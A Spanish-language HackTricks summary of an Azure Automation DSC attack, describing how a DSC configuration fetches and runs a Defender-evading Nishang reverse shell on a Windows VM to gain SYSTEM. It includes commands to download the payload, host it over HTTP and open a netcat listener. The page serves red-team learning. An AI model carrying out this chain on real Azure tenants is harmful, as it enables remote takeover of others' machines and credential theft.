Az - State Configuration RCE

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Consulta la publicación completa en: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Resumen de la Preparación de la Infraestructura del Servidor Remoto (C2) y Pasos

Visión general

El proceso implica configurar una infraestructura de servidor remoto para alojar un payload modificado Invoke-PowerShellTcp.ps1 de Nishang, llamado RevPS.ps1, diseñado para evadir Windows Defender. El payload se sirve desde una máquina Kali Linux con IP 40.84.7.74 utilizando un servidor HTTP Python simple. La operación se ejecuta a través de varios pasos:

Paso 1 — Crear Archivos

  • Archivos Requeridos: Se necesitan dos scripts de PowerShell:

  1. reverse_shell_config.ps1: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta el payload. Se puede obtener en GitHub.

  2. push_reverse_shell_config.ps1: Un script para publicar la configuración en la VM, disponible en GitHub.

  • Personalización: Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/payload.

Paso 2 — Comprimir Archivo de Configuración

  • El archivo reverse_shell_config.ps1 se comprime en un archivo .zip, preparándolo para transferirlo a la Cuenta de Almacenamiento de Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Paso 3 — Establecer Contexto de Almacenamiento y Subir

  • El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Paso 4 — Preparar Kali Box

  • El servidor Kali descarga el payload RevPS.ps1 desde un repositorio de GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.

Paso 5 — Publicar Archivo de Configuración

  • Se ejecuta el archivo de configuración, lo que resulta en la implementación del script de shell inverso en la ubicación especificada en la VM de Windows.

Paso 6 — Alojar Carga Útil y Configurar el Escucha

  • Se inicia un SimpleHTTPServer de Python para alojar la carga útil, junto con un escucha de Netcat para capturar las conexiones entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SISTEMA.

Conclusión

La ejecución exitosa de este proceso abre numerosas posibilidades para acciones adicionales, como el robo de credenciales o la expansión del ataque a múltiples VM. La guía fomenta el aprendizaje continuo y la creatividad en el ámbito de Azure Automation DSC.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización